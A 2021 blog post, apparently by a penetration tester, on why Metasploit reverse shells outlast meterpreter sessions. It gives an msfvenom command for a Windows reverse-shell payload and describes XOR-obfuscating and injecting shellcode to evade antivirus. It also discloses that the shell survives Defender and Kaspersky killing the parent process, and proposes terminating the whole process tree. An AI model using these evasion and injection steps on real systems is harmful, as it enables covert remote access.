21 Sep, 2021

Reverse Shell Overshadows Reverse Meterpreter

In my early days of malware development and penetration testing, like everybody else I had started by injecting malicious shellcodes into the memory of victim pc to gain access over the C2 server using a popular pen-testing tool called Metasploit framework console. MSF console is a very useful tool for advanced penetration testing if used properly. Since, it is an open-source pen-testing software therefore almost all the exploits generated by Metasploit or MSFvenom are already updated and are detected by most of the security controls. Now that brings us to the advanced penetration testing called red teaming, because to bypass the detection of these security controls, we will have to employ defense evasion techniques like encryption, obfuscation, unhooking and many more. As the title of this articles suggested, reverse shell session of the Metasploit is much better than reverse meterpreter session for several reasons:

• First, meterpreter session is easy to detect for AV/EDRs as compared to shell session because in meterpreter session, adversaries can load meterpreter scripts directly into the victim pc like (taking screenshots, accessing webcam, adding keyloggers etc.) but in shell session, adversary only get the shell of victim pc. Obviously, meterpreter session is more convenient than shell but it will not last long because latest AV/EDRs quickly detect suspicious behavior from the injected process if a meterpreter script is loaded into it. However, the shell session remains undetected. 

• Second and most important, there is a loophole that could be exploited by adversaries while using a shell_reverse_tcp session. Somehow if the AVs detected the malicious source of injection and the victim process, it quickly quarantines or deletes the malicious source (exe, script) and closes the process in which the shellcode has been injected. However, the session remains active unless the adversary closes it from the c2 server. Why is this happening?

See the practical example below:

Reverse Shell escapes AV

In this example I am going to inject a shellcode (into a process) generated by msfvenom, encrypt it with a weak xor encryption so that it will be just enough to bypass the initial detection by AV but after some time, AV will catch it and close the process. I have written a c# exploit in which I am decrypting the xor encrypted shellcode and then injecting into some process. Since, I want AVs to detect this after some time therefore, I am not getting the decryption key from a remote server rather added the key in exploit itself. Let me first generate the exploit using msfvenom. See the screenshot below:

 

Command:

 

msfvenom -p windows/x64/shell_reverse_tcp lhost=ip_address lport=some_port -f csharp

 

 

We have the shellcode, now to encrypt this shellcode, I have written another c# code that simply xor the shellcode with a specified key running in a loop. You can also write a simple python script that xor bytes with a specified key but keep in mind that python2 and python3 deals with string in an entirely different way. The encrypted shellcode can be seen in the picture below:

This code (.exe) once executed will decrypt the shellcode at runtime and injects it into a specified process. After injection it pings the c2 server and establishes a connection. I will set up Metasploit listener as a c2 server and execute the malicious exe from the victim pc. Since it is xor encrypted shellcode so antiviruses will take some time to flag it malicious until then I would have already established a connection with the c2 server.

Our exploit has been detected and quarantined, the AV will remove the malicious file as well as the process which was used to establish connection to the c2 server. But here is a loophole, AV closes the victim process, but connection remains open. Check the screenshot below, I still have a remote shell connection with the victim pc.

As you can see even after the exploit got caught, the victim process had been closed, we can still pass commands remotely using this shell connection. How is this possible? I have investigated further into the victim computer using process hacker and found out that when shell_reverse_tcp shellcode has been injected into a process it creates a reverse shell connection in a child process of the victim process and when AV solutions detect this malicious behavior, they simply force the parent process to terminate however, the child process somehow remains as an UNKNOWN process running in the background. I have tested and recorded this behavior with two well known Antiviruses that are Microsoft Windows Defender fully updated and Kaspersky Total Security fully activated. This is a very high security risk and a possible 0 zero-day vulnerability, that even if an AV detects something malicious it is not able to completely remove it simply because of  parent-child process hierarchy.

So, I have investigated further about how to mitigate this vulnerability. For that, I turned off antiviruses first. Traced the victim process using, process hacker tool. I have terminated the victim process manually and it was the same result as when antiviruses tried to mitigate this exploitation. I still had an established connection with the c2 server but then I tried again and this time instead of terminating the victim process I have terminated the whole tree of victim process which resulted in connection being dead on the c2 server. Therefore, the possible mitigation of this loophole is that instead of closing the victim process, the antiviruses should close the whole hierarchy of the victim process including its child or parent processes and if possible restart the whole pc to disinfect it.